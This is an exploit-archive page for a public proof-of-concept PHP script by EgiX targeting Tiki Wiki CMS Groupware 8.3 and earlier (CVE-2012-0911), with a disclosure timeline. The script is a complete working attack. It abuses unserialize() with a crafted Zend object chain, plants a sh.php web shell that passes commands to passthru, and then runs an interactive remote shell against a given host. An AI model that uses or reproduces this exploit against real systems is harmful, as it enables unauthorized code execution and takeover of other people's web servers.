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"Tiki Wiki CMS Groupware 8.3 - 'Unserialize()' PHP Code Execution"

Author

Exploit author

EgiX

Platform

Exploit platform

php

Release date

Exploit published date

2012-07-04

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<?php

/*
    -----------------------------------------------------------------
    Tiki Wiki CMS Groupware <= 8.3 "unserialize()" PHP Code Execution
    -----------------------------------------------------------------
  
    author...........: Egidio Romano aka EgiX
    mail.............: n0b0d13s[at]gmail[dot]com
    software link....: http://info.tiki.org/
  
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerable code in different locations:
  
    lib/banners/bannerlib.php:28:                   $views = unserialize($_COOKIE[$cookieName]);
    lib/banners/bannerlib.php:136:                  $views = unserialize($_COOKIE[$cookieName]);
    tiki-print_multi_pages.php:19:          $printpages = unserialize(urldecode($_REQUEST['printpages']));
    tiki-print_multi_pages.php:24:          $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
    tiki-print_pages.php:31:        $printpages = unserialize(urldecode($_REQUEST["printpages"]));
    tiki-print_pages.php:32:        $printstructures = unserialize(urldecode($_REQUEST['printstructures']));
    tiki-send_objects.php:42:       $sendpages = unserialize(urldecode($_REQUEST['sendpages']));
    tiki-send_objects.php:48:       $sendstructures = unserialize(urldecode($_REQUEST['sendstructures']));
    tiki-send_objects.php:54:       $sendarticles = unserialize(urldecode($_REQUEST['sendarticles']));
    
    The vulnerability is caused due to all these scripts using "unserialize()" with user controlled input.
    This can lead to execution of arbitrary PHP code passing an  ad-hoc Zend Framework serialized  object.

    [-] Full path disclosure at:
  
    http://[host]/[path]/admin/include_calendar.php
    http://[host]/[path]/tiki-rss_error.php
    http://[host]/[path]/tiki-watershed_service.php
  
    [-] Disclosure timeline:
  
    [11/01/2012] - Vulnerability discovered
    [14/01/2012] - Issue reported to security(at)tikiwiki.org
    [14/01/2012] - New ticket opened: http://dev.tiki.org/item4109
    [23/01/2012] - CVE number requested
    [23/01/2012] - Assigned CVE-2012-0911
    [01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4
    [04/07/2012] - Public disclosure 
 
*/
 
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
}

function get_path()
{
    global $host, $path;
    
    $packet  = "GET {$path}tiki-rss_error.php HTTP/1.0\r\n";
    $packet .= "Host: {$host}\r\n";
    $packet .= "Connection: close\r\n\r\n";
     
    if (!preg_match('/in <b>(.*)tiki-rss/', http_send($host, $packet), $m)) die("\n[-] Path not found!\n");
    return $m[1];
}


print "\n+----------------------------------------------------------------------+";
print "\n| Tiki Wiki CMS Groupware <= 8.3 Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /tiki/\n";
    die();
}

list($host, $path) = array($argv[1], $argv[2]);

$f_path = get_path();
print "\n[-] Path disclosure: {$f_path}\n";

class Zend_Search_Lucene_Index_FieldInfo
{
    public $name = '<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?>';
}

class Zend_Search_Lucene_Storage_Directory_Filesystem
{
    protected $_dirPath = null;
    
    public function __construct($path)
    {
        $this->_dirPath = $path;
    }
}

interface Zend_Pdf_ElementFactory_Interface {}

class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
    protected $_docCount = 1;
    protected $_name = 'foo';
    protected $_directory;
    protected $_fields;
    protected $_files;
    
    public function __construct($directory, $fields)
    {
        $this->_directory = $directory;
        $this->_fields    = array($fields);
        $this->_files     = new stdClass;
    }
}    

class Zend_Pdf_ElementFactory_Proxy
{
    private $_factory;
    
    public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
    {
        $this->_factory = $factory;
    }
}

// http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path."sh.php\0");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);

$payload = urlencode(serialize($____proxy));
$payload = str_replace('%00', '%2500', $payload);
$payload = "printpages={$payload}";

$packet  = "POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

if (preg_match('/multiprint/', http_send($host, $packet))) die("[-] Multi-print feature disabled!\n");

$packet  = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\ntiki-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

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